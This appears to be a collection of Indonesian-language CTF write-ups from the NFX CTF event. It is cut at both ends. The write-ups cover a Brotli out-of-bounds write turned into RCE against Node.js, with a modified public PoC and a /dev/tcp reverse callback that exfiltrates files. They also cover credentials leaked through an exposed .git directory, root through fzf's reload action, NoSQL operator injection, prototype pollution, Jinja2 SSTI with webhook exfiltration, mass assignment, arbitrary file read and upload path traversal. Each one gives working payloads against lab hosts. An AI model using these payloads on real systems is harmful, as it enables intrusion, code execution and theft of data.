- **Nama publik:** Node2Shell / Broccoli2Shell
- **Tipe:** out-of-bounds write di c/dec/decode.c (CWE-787 / CWE-252)
- **Rating:** CVSS 3.1 **9.8** (NVD), High (Node.js)
- **Versi terdampak:** Brotli 1.0.3 – 1.2.0
- **Node.js terdampak:** < 22.23.4, < 24.22.1, < 26.12.1

Root cause singkat

DecodeBlockTypeAndLength() mengembalikan boolean, sehingga caller tidak bisa membedakan "stream invalid" dari "butuh input lagi".

- Stream crafted meminta **block switch yang tidak mungkin** (max_block_type <= 1).
- Decoder lama menganggapnya NEEDS_MORE_INPUT.
- Pada **fast path**, nilai return diabaikan sama sekali.
- Decoder terus menambahkan byte attacker ke **buffer internal 8-byte** dan menulis melewati batasnya → OOB write → korupsi state decoder di heap → info leak / crash / RCE.

Fix upstream google/brotli@0ed4268 menambahkan error keras BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH (−17). Di Node, patch masuk ke 22.23.4 / 24.22.1 / 26.12.1 — target kita **24.9.0**, jadi vulnerable.

5. Verifikasi kerentanan (DoS trigger)

Trigger deterministik berbentuk stream Brotli ~23 MB (23.068.693 byte) yang dikirim dalam dua frame:

- frame 1: stream + 3 byte nol
- frame 2: 127 byte dengan field int/uint yang memicu OOB

SHA-256 trigger:

```
b7a6508eb39ef57ae5e3fdf9aa85540071a06eff5d5b5a2d359fc8e1768e4df4
```

Dikirim dengan profile node-24.9.0-bookworm-x86_64 dari PoC publik:

```
python3 poc.py \
  --profile node-24.9.0-bookworm-x86_64 \
  --host 10.10.20.23 --port 3000 --timeout 90

PASS: DoS verified through the declared network interface
profile=node-24.9.0-bookworm-x86_64
trigger_sha256=b7a6508eb39ef57ae5e3fdf9aa85540071a06eff5d5b5a2d359fc8e1768e4df4
postcondition=service unavailable
```

Service 3000 crash dan di-restart otomatis. Ini mengonfirmasi target memakai build Node.js 24.9.0 yang rentan dan protokolnya cocok 1:1 dengan lab.

6. Exploit RCE

PoC yang dipakai: dimasma0305/CVE-2026-111497-POC, profile:

```
node-24.9.0-worker-record-rce-bookworm-x86_64
```

Profile ini dibuat untuk **Node.js v24.9.0 official image (Debian bookworm, x86_64, non-PIE)** dengan layout yang sama seperti target:

- UV_THREADPOOL_SIZE=1
- Worker per koneksi
- Brotli chunkSize = 0x330
- Buffer.allocUnsafeSlow(0x330) per record
- Intl.DateTimeFormat (ICU) dibuat setelah setiap chunk

Parameter exploit dari profile:

Parameter	**Nilai**
groom_word	0x0003000000030000
groom_command_block_extra	0xffffff
groom_staged_pos	-1
poison_command_block_extra	0xffbf10
poison_staged_pos	-0x800a080

Parameter	Nilai
bss_payload	0x6e948a0
callback_gadget	0x1062840
execvp_plt	0xf3ed60
tcache_index	50
state_heap_minus_ring	-0x800ab70

Alur:

1. **Koneksi groom** — menyiapkan heap dan tcache, menghasilkan output ≥ 16 KB.
2. **Koneksi poison** — memicu OOB write yang menimpa state decoder sehingga gadget execvp() terpanggil.
3. Gadget menjalankan /bin/bash -c "<command>" di dalam proses node.
4. Command menulis hasil ke callback /dev/tcp/<bastion>:4444.

Penyesuaian untuk lab NFX

PoC aslinya hanya mengizinkan target/callback loopback. Patch kecil:

1. ALLOWED_TARGET_HOSTS tambah 10.10.20.23.
2. Hapus cek ipaddress.ip_address(...).is_loopback() di resolve_loopback().
3. Tambah 10.10.20.10 ke probe.callback_hosts pada profile.

Jalankan dari bastion (10.10.20.10):

```
python3 poc.py \
  --profile node-24.9.0-worker-record-rce-bookworm-x86_64 \
  --host 10.10.20.23 --port 3000 --timeout 40 \
  --callback-bind 0.0.0.0 --callback-host 10.10.20.10
```

Hasil:

```
PASS: RCE verified by fresh id output through the declared interface
profile=node-24.9.0-worker-record-rce-bookworm-x86_64
callback_peer=10.10.20.23
proof_token=CVE111497_2d9824832e3eadf81dd41a7a13ae2801
proof_command=id
proof_stdout=uid=1000(node) gid=1000(node) groups=1000(node)
```

RCE berhasil sebagai user node (uid 1000). Exploit bersifat probabilistik terhadap ASLR/heap placement, tetapi pada target ini berhasil di percobaan pertama; service auto-restart sehingga aman diulang.

7. Membaca user.txt

Karena eksekusi command bersifat one-shot (proses di-execvp menjadi bash), command diganti untuk mengarahkan seluruh stdout/stderr ke callback. Patch pada build_rce_payload():

```
# poc2.py — command diganti (maks. 176 byte, mulai offset 0x150)
command = (
    f"exec 3<>/dev/tcp/{callback_host}/{callback_port};"
    f"exec 1>&3 2>&3;echo T;id;cat /home/*/user.txt;cat /etc/nexus;"
    f"ls -la /home /srv/record-spool"
)
```

Command final (125 byte):

```
exec 3<>/dev/tcp/10.10.20.10/4444;exec 1>&3 2>&3;echo T;id;cat /home/*/user.txt;cat /etc/nexus;ls -la /home /srv/record-spool
```

Jalankan ulang exploit dengan poc2.py (command dimodifikasi), output callback:

```
T
uid=1000(node) gid=1000(node) groups=1000(node)
NFX{br0tl1_0ob_wr1t3_w0rk3r_r0p_rc3}
cat: /etc/nexus: Is a directory
/home:
total 0
drwxr-xr-x 1 root root 29 Nov  4 16:46 .
drwxr-xr-x 1 root root 39 Nov  8 13:21 ..
drwxr-xr-x 1 node node 22 Nov  4 16:46 node
drwxr-xr-x 2 ops  ops  75 Nov  4 16:46 ops
ls: cannot open directory '/srv/record-spool': Permission denied
```

8. User flag

```
NFX{br0tl1_0ob_wr1t3_w0rk3r_r0p_rc3}
```

9. Intel untuk stage root

Dari RCE sebagai node:

```
/etc/nexus:
-rw-r----- 1 root ops 18 ops.creds
-rw-r----- 1 root ops 19 spool.token
```

- /etc/nexus/ops.creds dan /etc/nexus/spool.token milik root:ops (0640) → butuh user ops.
- /home/node/user.txt (user flag), /home/ops ada.
- /srv/record-spool dan /var/backups/records tidak bisa dibaca node.

Jalur root yang diperkirakan: dapatkan ops → baca /etc/nexus → tulis job ke /srv/record-spool:

```
id=<name>
action=archive
target=/root
```

Worker root mengarsipkan target ke /var/backups/records/<id>.tar.gz, lalu ambil root.txt. Stage root tidak dikerjakan pada challenge User ini.

10. Root Cause

1. **Service internal tanpa auth** di port non-web (3000) menerima Brotli attacker.
2. **Runtime usang** — Node.js 24.9.0 membundel Brotli C decoder yang rentan CVE-2026-111497; patch tersedia di 24.22.1.
3. **Native memory corruption** di decoder (unchecked return value → OOB write) yang dapat dikonversi menjadi RCE.
4. **Record buffer tidak di-zero** (allocUnsafe) → memory disclosure tambahan (heap/ASLR leak) yang mempermudah exploit.

11. Referensi

- NVD — CVE-2026-111497: https://nvd.nist.gov/vuln/detail/CVE-2026-111497
- GitHub Advisory — GHSA-9v8h-qqgm-4m35: https://github.com/advisories/GHSA-9v8h-qqgm-4m35
- Node.js security release (Oct 2026): https://nodejs.org/en/blog/vulnerability/october-2026-security-releases
- Upstream fix — google/brotli@0ed4268: https://github.com/google/brotli/commit/0ed4268a4401abcb4472096340477cf4af7d1a2b
- PoC publik: https://github.com/dimasma0305/CVE-2026-111497-POC
- Lab worker-record-transform (Node v24.9.0): lab/v24.9.0/worker-record-transform/src/server.js

Forgotten Commit (Root) (Medium)

- **Challenge:** Boot-to-Root / Nexus Developer Platform (nfx-b2r-21)
- **Event:** NFX CTF
- **Category:** Boot to Root
- **Target:** 10.10.20.21 via bastion s1.nfx.my.id:48976
- **User flag:** NFX{g1t_h1story_s3cr3ts_l34d_t0_ssh}
- **Root flag:** NFX{fzf_l1st3n_r00t_sh3ll_pwn3d}

1. Akses bastion

Login awal ke bastion memakai user lab:

```
ssh -o StrictHostKeyChecking=no lab@s1.nfx.my.id -p 48976
```

Bastion otomatis membuat akun sementara dan menampilkan kredensial:

```
Username: lab5d57
Password: 8zs7sdpFspGR
```

Bastion berada di 10.10.20.10, scope lab 10.10.20.0/24. Flag bastion (bukan target):

```
NFX{R3dy_t0_B0oT_T0_Ro0T_L4b5?}
```

2. Enumerasi target

Dari bastion:

```
nmap -Pn -sCV 10.10.20.21
```

Hasil:

```
22/tcp open  ssh   OpenSSH 8.9p1 Ubuntu
80/tcp open  http  nginx
| http-git:
|   10.10.20.21:80/.git/
|     Git repository found!
|_    Last commit message: Remove Ansible inventory
|_http-title: Nexus Developer Platform
```

.git terekspos di web root.

3. Dump repository

```
git-dumper http://10.10.20.21/.git /tmp/dump
cd /tmp/dump
git log --all --oneline --graph
```

History:

```
* 3f4c118 Remove Ansible inventory
* bff2915 Add Ansible deployment inventory
* 1ccd6cc Add service status page
* 9d7531b Add platform documentation
* ae13e24 Initial landing page
```

Commit 3f4c118 menghapus inventory, tetapi isinya masih ada di history:

```
git show bff2915:ansible/inventory.ini

[web]
srv.nexus.internal ansible_user=leonardo ansible_password="Dev0pment#2026!"
```

Kredensial SSH: leonardo / Dev0pment#2026!.

4. User flag

Login lewat pivot bastion (di sini memakai Paramiko direct-tcpip dari bastion ke 10.10.20.21:22):

```
ssh leonardo@10.10.20.21
cat ~/user.txt

NFX{g1t_h1story_s3cr3ts_l34d_t0_ssh}
```

5. Privilege escalation

Enumerasi sudo:

```
sudo -l

User leonardo may run the following commands on srv:
    (root) NOPASSWD: /usr/local/bin/fzf --listen 1337
```

Versi fzf: 0.74.3. Opsi --listen menyalakan HTTP server untuk menerima action. Menurut dokumentasi, --listen-unsafe diperlukan untuk *remote process execution*, tetapi **safe mode tetap mengizinkan reload(...)** yang menjalankan command untuk mengganti daftar item. Output command dapat dibaca dari endpoint GET /.

Jalankan fzf sebagai root (perintah harus persis sesuai sudoers, tanpa argumen tambahan), lalu kirim action dari sesi lain di target:

```
# sesi 1 (TTY)
sudo -n /usr/local/bin/fzf --listen 1337

# sesi 2
curl -XPOST 127.0.0.1:1337 -d 'reload(cat /root/root.txt)'
curl -XPOST 127.0.0.1:1337 -d 'clear-query'
curl -s http://127.0.0.1:1337
```

Respons GET /:

```
{
  "reading": false,
  "progress": 100,
  "query": "",
  "totalCount": 1,
  "matchCount": 1,
  "current": {
    "index": 0,
    "text": "NFX{fzf_l1st3n_r00t_sh3ll_pwn3d}"
  },
  "matches": [
    { "index": 0, "text": "NFX{fzf_l1st3n_r00t_sh3ll_pwn3d}" }
  ]
}
```

Alternatif, tulis flag ke file yang bisa dibaca user:

```
curl -XPOST 127.0.0.1:1337 \
  -d 'reload(sh -c "cat /root/root.txt > /tmp/rootflag; chmod 644 /tmp/rootflag")'
cat /tmp/rootflag
```

6. Root flag

```
NFX{fzf_l1st3n_r00t_sh3ll_pwn3d}
```

Root Cause

1. **.git terbuka di web root** → source dan history bisa di-dump.
2. **Secret di git history** — inventory Ansible berisi kredensial SSH, meskipun sudah dihapus di commit berikutnya.
3. **Sudo rule berbahaya** — fzf --listen 1337 sebagai root. Walaupun tanpa --listen-unsafe, action reload() tetap mengeksekusi command sebagai root dan hasilnya dapat dibaca lewat HTTP API fzf.

WEB

NexaIdentity — Web Exploitation (Medium)

- **Challenge:** NexaIdentity
- **Event:** NFX CTF
- **Category:** Web Exploitation
- **Difficulty:** Medium
- **Target:** http://s1.nfx.my.id:44164
- **Flag:** NFX{n0sql_0p3r4t0r_4uth_byp4ss}

Deskripsi

> NexaIdentity adalah direktori karyawan internal dan portal identitas workspace untuk NexaCommerce. Karyawan dapat masuk, mencari kolega, membuka profil workspace, dan meninjau detail tim.

Ringkasan

Login memakai MongoDB dan meneruskan body request hasil parsing qs langsung ke query. Dengan mengirim password[$ne]=x, password berubah menjadi objek {"$ne": "x"} sehingga query mencocokkan user mana pun tanpa password valid. Login sebagai admin (admin@nexaidentity.test) membuka /admin, yang berisi **restricted recovery note** dengan flag.

Recon

1. X-Powered-By: Express → aplikasi Node.js/Express.
2. Halaman login membocorkan akun demo:

```
employee@nexaidentity.test / employee1234
```

3. Route: /dashboard, /directory, /directory/<id> (profil karyawan), /admin.
4. Dengan session employee biasa, /admin mengembalikan **403 Forbidden**:

```
curl -i -b employee.jar http://s1.nfx.my.id:44164/admin
# HTTP/1.1 403 Forbidden
```

5. Profil admin terlihat di /directory/1:

```
Nadia Kusuma — Head of People Operations — admin@nexaidentity.test
```

6. Login normal dengan password salah menghasilkan 401 Unauthorized, berbeda dari request injeksi di bawah.

Eksploitasi

1. NoSQL operator injection di login

Express memakai qs (extended query parser), sehingga key seperti password[$ne] diubah menjadi objek bersarang:

```
{ "email": "admin@nexaidentity.test", "password": { "$ne": "x" } }
```

Jika server menjalankan query MongoDB seperti:

```
User.findOne({ email: email, password: password })
```

maka password: {$ne: "x"} akan cocok dengan dokumen apa pun, sehingga autentikasi terlewati.

Payload:

```
curl -i -c admin.jar -X POST http://s1.nfx.my.id:44164/login \
  --data-urlencode 'email=admin@nexaidentity.test' \
  --data-urlencode 'password[$ne]=x'
```

Respons:

```
HTTP/1.1 302 Found
Location: /dashboard
Set-Cookie: connect.sid=s%3A...; Path=/; HttpOnly; SameSite=Lax
```

Session baru valid sebagai **Nadia Kusuma (Administrator)**.

Alternatif tanpa mengetahui email admin:

```
curl -X POST http://s1.nfx.my.id:44164/login \
  -d 'email[$ne]=x&password[$ne]=x'
```

Query {email: {$ne: "x"}, password: {$ne: "x"}} cocok dengan dokumen pertama (admin).

2. Akses admin console

```
curl -s -b admin.jar http://s1.nfx.my.id:44164/admin
```

Halaman /admin menampilkan:

```
<h2>Restricted recovery note</h2>
<div class="admin-note">
  <p>Emergency recovery token for the identity vault:
    NFX{n0sql_0p3r4t0r_4uth_byp4ss}</p>
</div>
```

Verifikasi dashboard menunjukkan user yang login:

```
Welcome back, Nadia
Head of People Operations · People Operations · Jakarta
```

Flag

```
NFX{n0sql_0p3r4t0r_4uth_byp4ss}
```

Root Cause

Aplikasi mempercayai tipe data dari body request. Karena qs mengubah password[$ne]=x menjadi objek operator MongoDB, nilai tersebut masuk ke query tanpa casting ke string:

```
const { email, password } = req.body; // password bisa berupa object
const user = await db.collection('users').findOne({ email, password });
```

Tidak ada validasi bahwa email/password harus string, sehingga operator seperti $ne, $gt, $regex dapat dipakai untuk melewati autentikasi.

Pelajaran

Bracket syntax password[$ne]=x adalah tes pertama untuk aplikasi Node/Express yang memakai MongoDB. Respons 302 /dashboard alih-alih 401 langsung menandakan auth bypass. Setelah masuk sebagai admin, data sensitif (recovery token/flag) berada di console yang sebelumnya 403.

NexaPartner — Web Exploitation (Medium)

- **Challenge:** NexaPartner
- **Event:** NFX CTF
- **Category:** Web Exploitation
- **Difficulty:** Medium
- **Target:** http://s1.nfx.my.id:42151
- **Flag:** NFX{js0n_pr0t0_p0llut10n_4dm1n_byp4ss}

Deskripsi

> NexaPartner adalah portal reseller dan channel partner untuk NexaCommerce. Partner dapat memantau referral, meninjau komisi, mengelola kredensial API, serta mengatur webhook dan notifikasi.

Ringkasan

Endpoint POST /api/settings melakukan merge body JSON ke objek settings tanpa memfilter key berbahaya. Mengirim {"__proto__": {"isAdmin": true}} menyebabkan **prototype pollution** pada Object.prototype. Middleware otorisasi /admin mengecek properti isAdmin yang kini terwarisi lewat prototype chain, sehingga partner biasa mendapat akses **admin console**. Halaman /admin menampilkan partner recovery token yang berisi flag.

Recon

1. X-Powered-By: Express → aplikasi Node.js/Express.
2. Login demo dibocorkan di halaman login:

```
partner@nexapartner.test / partner1234
```

3. Route: /dashboard, /settings, /api-docs, /api/settings, /admin.
4. Dengan session partner, /admin mengembalikan **403 Forbidden**:

```
curl -i -b partner.jar http://s1.nfx.my.id:42151/admin
# HTTP/1.1 403 Forbidden
```

5. /settings memuat form yang menyimpan ke POST /api/settings dengan JSON:

```
fetch("/api/settings", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ webhookUrl, digest, theme, emailNotifications }),
});
```

6. /api-docs membocorkan API key (pk_live_arunika_4f8c1d2e) dan menyebut endpoint POST /api/partner/webhooks/test, tetapi endpoint tersebut mengembalikan 404 — dokumentasi hanya flavor. Endpoint nyata yang bisa diubah adalah /api/settings.

Eksploitasi

1. Cek merge body

POST /api/settings mengembalikan objek settings. Field tambahan ikut tersimpan/echo, menandakan body di-merge (bukan hanya field yang di-whitelist):

```
curl -s -b partner.jar -X POST http://s1.nfx.my.id:42151/api/settings \
  -H 'Content-Type: application/json' \
  -d '{"webhookUrl":"https://example.com/hook","role":"admin","isAdmin":true}'
```

Respons:

```
{"ok":true,"settings":{"emailNotifications":true,"webhookUrl":"https://example.com/hook","digest":"weekly","theme":"light","role":"admin","isAdmin":true}}
```

Namun /admin tetap 403 — field tersebut hanya masuk ke objek settings, bukan ke objek user yang dicek middleware.

2. Prototype pollution

Masukkan key __proto__ agar merge menyentuh Object.prototype:

```
curl -s -b partner.jar -X POST http://s1.nfx.my.id:42151/api/settings \
  -H 'Content-Type: application/json' \
  -d '{"webhookUrl":"https://example.com/hook","__proto__":{"isAdmin":true}}'
```

Lalu akses admin:

```
curl -s -b partner.jar http://s1.nfx.my.id:42151/admin
```

Sebelum: 403 Forbidden. Sesudah: 200 OK — halaman **Identity admin console** terbuka.

3. Ambil flag

Skrip reproduksi lengkap:

```
import requests, re

b = 'http://s1.nfx.my.id:42151'
s = requests.Session()
s.post(b + '/login', data={
    'email': 'partner@nexapartner.test',
    'password': 'partner1234',
})

print(s.get(b + '/admin').status_code)          # 403
```

```
s.post(b + '/api/settings', json={
    'webhookUrl': 'https://example.com/hook',
    '__proto__': {'isAdmin': True},
})
a = s.get(b + '/admin')
print(a.status_code)                          # 200
print(set(re.findall(r'NFX\{[^}]*\}', a.text)))
```

Baris pada tabel admin yang memuat flag:

```
<tr>
  <td>Partner recovery token rotated</td>
  <td class="muted">Temporary partner console recovery token:
     NFX{js0n_pr0t0_p0llut10n_4dm1n_byp4ss}</td>
</tr>
```

Flag

```
NFX{js0n_pr0t0_p0llut10n_4dm1n_byp4ss}
```

Root Cause

Server melakukan recursive merge/Object.assign body JSON ke objek biasa tanpa memblokir key __proto__:

```
const settings = Object.assign({}, defaults, req.body); // atau lodash.merge
```

Key __proto__ menulis ke Object.prototype, sehingga properti seperti isAdmin muncul pada semua objek, termasuk objek user/session yang dipakai middleware:

```
if (!user.isAdmin) return res.status(403).render('forbidden');
```

Karena isAdmin kini ada di prototype chain, pengecekan lolos untuk partner biasa.

Pelajaran

Field tambahan yang muncul di response settings adalah petunjuk mass assignment, tetapi yang benar-benar menembus otorisasi adalah **prototype pollution** lewat __proto__. Selalu uji __proto__, constructor.prototype, dan varian __proto__ bersarang pada endpoint JSON yang melakukan merge. Perubahan status /admin dari 403 ke 200 adalah bukti langsung bypass-nya.

ChangeTrack — Web Exploitation (Medium)

- **Challenge:** ChangeTrack
- **Event:** NFX CTF
- **Category:** Web Exploitation
- **Target:** http://s1.nfx.my.id:40930
- **Flag:** NFX{ch4ng3_d3t3ct10n_j1nj4_sst1_oob_cve_2024_32651_2026}

Deskripsi

> ChangeTrack adalah platform pemantau perubahan halaman web, REST API, dan RSS perusahaan yang terinspirasi murni dari proyek open-source terkenal changedetection.io. Pengguna mengonfigurasi watcher dan manifes webhook notifikasi kustom dalam format YAML.
>
> Note: Challenge ini sedikit terinspirasi dari Columbina — karakter yang identik dengan matanya yang selalu tertutup. hint mengarah ke blind vulnerability

Poin penting dari hint:

- **"terinspirasi changedetection.io"** → arahkan ke **CVE-2024-32651** (SSTI Jinja2 pada body notifikasi).
- **"mata selalu tertutup" / blind** → output eksekusi tidak dikembalikan pada response HTTP, jadi harus di-exfiltrate lewat **out-of-band** (webhook).

Ringkasan

Aplikasi Flask (gunicorn) menyediakan fitur "notification manifest" berbentuk YAML. Field notification.template dirender sebagai **Jinja2 tanpa sandbox** oleh background worker, lalu hasil render dikirim sebagai HTTP POST ke notification.webhook_url. Karena endpoint dispatch hanya membalas 202 Accepted (output tidak tampil), eksekusi perintah bersifat **blind** dan di-exfiltrate melalui webhook yang kita kontrol.

Hasil akhir: RCE sebagai **root** dan flag dibaca dari /flag.txt:

```
NFX{ch4ng3_d3t3ct10n_j1nj4_sst1_oob_cve_2024_32651_2026}
```

Recon

1. Root redirect ke /login, server gunicorn (Flask).
2. /health langsung membocorkan CVE yang relevan:

```
{"service":"ChangeTrack Engine v2.4 (CVE-2024-
32651)","status":"ok","uptime":"healthy","worker":"active"}
```

3. /docs menampilkan Swagger UI dan /openapi.json mendokumentasikan endpoint:

Method	**Path**	**Keterangan**
POST	/api/v1/auth/login	Authenticate Developer Session
POST	/api/v1/auth/register	Provision Developer Account (REST API Only)
POST	/api/v1/notification/dispatch	Compiles **Jinja2 template tags** & dispatches webhook via background worker
GET	/api/v1/watchers	List Monitored Target Watchers

4. GET /api/v1/watchers membocorkan format manifest:

```
watcher:
  name: GitHub Release Price Tracker
  target_url: https://api.github.com/events
  check_interval: 300
notification:
  webhook_url: https://api.changetrack.io/webhook/dev
  format: yaml
  template: |
    [ChangeTrack Notification]
    Target URL: {{ target_url }}
    Check Status: {{ status }}
    Message: Webpage content change detected at {{ check_time }}.
```

5. UI watcher: /watchers/watch-01 (tombol "Dispatch Webhook Notification" → POST /watchers/watch-01/test) dan /watchers/watch-01/edit.

Eksploitasi

1. Login (tanpa verifikasi password)

Form login menerima email/password apa pun dan langsung membuat session untuk email tersebut:

```
curl -s -i -c jar.txt -X POST http://s1.nfx.my.id:40930/login \
  --data-urlencode 'email=admin@company.com' \
  --data-urlencode 'password=salah-total'
# 302 Location: /dashboard, Set-Cookie: session=...
```

Session Flask hanya berisi {"user":"<email>"} (base64), dan /dashboard mengembalikan 200. Registrasi via POST /api/v1/auth/register juga langsung memberi session.

2. Siapkan kanal OOB

Karena output template tidak dikembalikan ke response, siapkan webhook collector. Contoh memakai webhook.site:

```
curl -s -X POST https://webhook.site/token -H 'Content-Type: application/json' -d '{}'
# {"uuid":"<uuid>", ...}
```

Webhook URL: https://webhook.site/<uuid>

3. Kirim manifest dengan template Jinja2 berbahaya

Field notification.template dievaluasi oleh Jinja2. Payload command execution:

```
{{ cycler.__init__.__globals__.os.popen('id').read() }}
```

Manifest lengkap:

```
watcher:
  name: pwn
  target_url: http://example.com
  check_interval: 300
notification:
  webhook_url: https://webhook.site/<uuid>
  format: yaml
  template: |
    {{ cycler.__init__.__globals__.os.popen('id').read() }}
```

Kirim ke API (butuh session):

```
python3 - <<'PY'
import json
manifest = open('exploit.yml').read()
open('exploit.json','w').write(json.dumps({'manifest': manifest}))
PY

curl -s -b jar.txt -X POST http://s1.nfx.my.id:40930/api/v1/notification/dispatch \
  -H 'Content-Type: application/json' --data-binary @exploit.json
# {"message":"Watcher Notification Manifest submitted to background worker pipeline.",
#  "status":"accepted","watcher_id":"watch-..."}
```

Bisa juga lewat UI: POST /watchers/watch-01/edit (simpan manifest) lalu POST /watchers/watch-01/test.

4. Baca hasil dari webhook

Worker merender template dan mengirim body hasil render ke webhook_url:

```
uid=0(root) gid=0(root) groups=0(root)
```

Karena proses berjalan sebagai root, flag bisa langsung dibaca:

```
{{ cycler.__init__.__globals__.os.popen('cat /flag.txt').read() }}
```

Body webhook yang diterima:

```
NFX{ch4ng3_d3t3ct10n_j1nj4_sst1_oob_cve_2024_32651_2026}
```

Payload alternatif yang juga berfungsi:

```
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read() }}
```

Root Cause

Aspek	Detail
Sink	notification.template dari manifest YAML pengguna
Engine	Jinja2 tanpa SandboxedEnvironment (Environment.from_string(...).render(...))
Eksekusi	Background worker (bukan request thread), sehingga response hanya 202 Accepted
Exfil	Hasil render dikirim via notification.webhook_url (HTTP POST)
Dampak	RCE sebagai root; CVE-2024-32651

Manifest pengguna sepenuhnya dipercaya sebagai template. Jinja2 biasa mengekspos objek Python internal (cycler.__init__.__globals__, __builtins__, os), sehingga satu ekspresi {{ ... }} sudah cukup untuk menjalankan perintah sistem.

Catatan tambahan: login tidak memverifikasi password sama sekali; cukup mengirim email apa pun untuk mendapatkan session, sehingga endpoint dispatch bisa diakses tanpa akun valid.

Flag

```
NFX{ch4ng3_d3t3ct10n_j1nj4_sst1_oob_cve_2024_32651_2026}
```

Pelajaran

- Hint "mata tertutup" = **blind**: jangan buang waktu mencari output di response; siapkan kanal OOB sejak awal.
- webhook_url yang dapat dikontrol adalah kanal exfil yang sempurna untuk blind RCE.
- Nama proyek/CVE pada /health adalah shortcut recon yang sah: CVE-2024-32651 langsung menunjuk ke Jinja2 SSTI pada notification body changedetection.io.
- Jinja2 tanpa sandbox pada input pengguna = RCE, bukan sekadar "template formatting".

PageStream — Web Exploitation (Hard)

- **Challenge:** PageStream
- **Event:** NFX CTF
- **Category:** Web Exploitation
- **Target:** http://s1.nfx.my.id:48160
- **Flag:** NFX{f3w_n_d4y_ch41ns_f0r_w3b_pwn_1s_n0t_th4t_h4rd_7734a1}

Deskripsi

> PageStream adalah aplikasi stream membaca sosial dan komunitas buku. Pengguna dapat mendaftar akun, membagikan kutipan serta catatan buku, dan menyematkan gambar sampul buku pada kiriman komunitas. Pemeriksaan keamanan internal mengindikasikan bahwa pembaruan terkini pada mekanisme upload serta parsing parameter memungkinkan penyerang melewati autentikasi standar dan meningkatkan operasi penulisan berkas sembarang menjadi pengambilalihan kontrol alur eksekusi runtime.

Hint pada deskripsi memetakan langsung ke tiga bug:

1. **parsing parameter** → mass assignment pada POST /profile.
2. **mekanisme upload** → multer dengan preservePath: true dan filename = file.originalname (path traversal / arbitrary file write).
3. **kontrol alur eksekusi** → process.dlopen() memuat helper.node saat startup, dengan supervisor autorestart=true.

Ringkasan

Aplikasi Node.js/Express (EJS, express-session, multer 1.4.5-lts.1, mysql2, Node 25.6.0) berjalan sebagai **root** di bawah supervisord. Endpoint POST /profile melakukan merge seluruh body ke objek user di session:

```
req.session.user = Object.assign({}, req.session.user, req.body);
```

Akibatnya user biasa bisa mengangkat dirinya menjadi admin hanya dengan mengirim role=admin, sehingga lolos middleware requireAdmin pada /view dan /post/new. Dari sana:

- GET /view?file= memakai path.resolve() dengan input pengguna → **arbitrary file read** (path absolut menimpa base directory). Karena proses berjalan sebagai root, /root/flag.txt (mode 600) terbaca langsung.
- POST /post/new memakai multer.diskStorage dengan filename = file.originalname dan preservePath: true → **arbitrary file write** (path traversal), yang dapat menimpa /app/helper.node lalu dieksekusi lewat process.dlopen() setelah worker di-restart supervisor.

Flag pada run ini diambil lewat arbitrary file read; rantai RCE tetap didokumentasikan di bawah sebagai jalur yang diintendedkan.

Recon

1. curl -i http://s1.nfx.my.id:48160/ → X-Powered-By: Express, halaman "PageStream — Social Reading & Book Community".
2. Route publik: /, /login, /register, /health.
3. Register + login biasa menghasilkan session connect.sid dan halaman /dashboard, /settings.
4. Dashboard menampilkan pesan:

   Verification Notice: Verified status required to publish posts. (Verification Service: Coming Soon).

5. Directory/route fuzzing menemukan satu route tersembunyi yang menarik: GET /view.
   - Tanpa login/verifikasi: 403 Forbidden: Account Email Verification required...
   - Setelah verifikasi/role dinaikkan: 400 Missing file parameter lalu ?file= mulai membaca file.

Eksploitasi

1. Register & login

```
curl -s -c jar.txt -X POST http://s1.nfx.my.id:48160/register \
  -d 'username=reader1&password=Passw0rd!234'

curl -s -c jar.txt -X POST http://s1.nfx.my.id:48160/login \
  -d 'username=reader1&password=Passw0rd!234'
# 302 Location: /dashboard
```

2. Bypass autentikasi via mass assignment

POST /profile (dan POST /settings) memakai handler yang sama:

```
const handleProfileUpdate = (req, res) => {
    if (!req.session.user) return res.status(401).json({ error: 'Unauthorized' });
    req.session.user = Object.assign({}, req.session.user, req.body);
    ...
};
```

Field role dan verified tidak di-whitelist, jadi cukup:

```
curl -s -b jar.txt -X POST http://s1.nfx.my.id:48160/profile \
  -d 'avatar=https://example.com/a.png&bio=hi&role=admin&verified=true'
```

Cek hasilnya:

```
curl -s -b jar.txt http://s1.nfx.my.id:48160/settings | grep -o 'Administrator'
# Administrator
```

Middleware requireAdmin hanya mengecek:

```
const role = req.session.user.role;
if (role !== 'admin' && role !== 'verified') { ... 403 ... }
```

3. Arbitrary file read → flag

```
router.get('/view', requireAdmin, (req, res) => {
   const fileParam = req.query.file;
   if (!fileParam) return res.status(400).send('Missing file parameter');
   const targetPath = path.resolve(__dirname, '../uploads', fileParam);
   const stream = fs.createReadStream(targetPath);
   ...
});
```

path.resolve() akan mereset base path jika argumen berikutnya absolut, sehingga /etc/passwd dan file lain bisa dibaca:

```
curl -g -s -b jar.txt "http://s1.nfx.my.id:48160/view?file=/etc/passwd"
```

Baca flag (proses Node dijalankan supervisord dengan user=root, jadi file 600 tetap terbaca):

```
curl -g -s -b jar.txt "http://s1.nfx.my.id:48160/view?file=/root/flag.txt"
# NFX{f3w_n_d4y_ch41ns_f0r_w3b_pwn_1s_n0t_th4t_h4rd_7734a1}
```

4. Verifikasi via source (Dockerfile)

Source aplikasi juga bisa dibaca lewat endpoint yang sama, mis. /app/Dockerfile, /app/app.js, /app/routes/posts.js, /app/entrypoint.sh. Dockerfile mengonfirmasi lokasi flag:

```
RUN echo "NFX{f3w_n_d4y_ch41ns_f0r_w3b_pwn_1s_n0t_th4t_h4rd_7734a1}" > /root/flag.txt &&
\
   chown root:root /root/flag.txt && \
   chmod 600 /root/flag.txt
```

Rantai RCE yang diintendedkan (dari source)

Flag sudah didapat lewat file read, tetapi rantai full-RCE-nya ada di source dan layak dicatat.

Upload path traversal

routes/posts.js:

```
const storage = multer.diskStorage({
   destination: (req, file, cb) => cb(null, path.join(__dirname, '../uploads')),
   filename: (req, file, cb) => cb(null, file.originalname)   // tidak di-sanitize
```

```
});
const upload = multer({ storage, preservePath: true });
```

preservePath: true mempertahankan path pada filename multipart. path.join('/app/uploads', '../../helper.node') menghasilkan /app/helper.node.

```
curl -s -b jar.txt -X POST http://s1.nfx.my.id:48160/post/new \
  -F 'title=x' -F 'content=x' \
  -F 'image=@shell.node;filename=../../helper.node;type=application/octet-stream'
```

Eksekusi via native addon

app.js memuat addon native saat startup:

```
try {
    process.dlopen({ exports: {} }, path.join(__dirname, 'helper.node'));
} catch (e) {
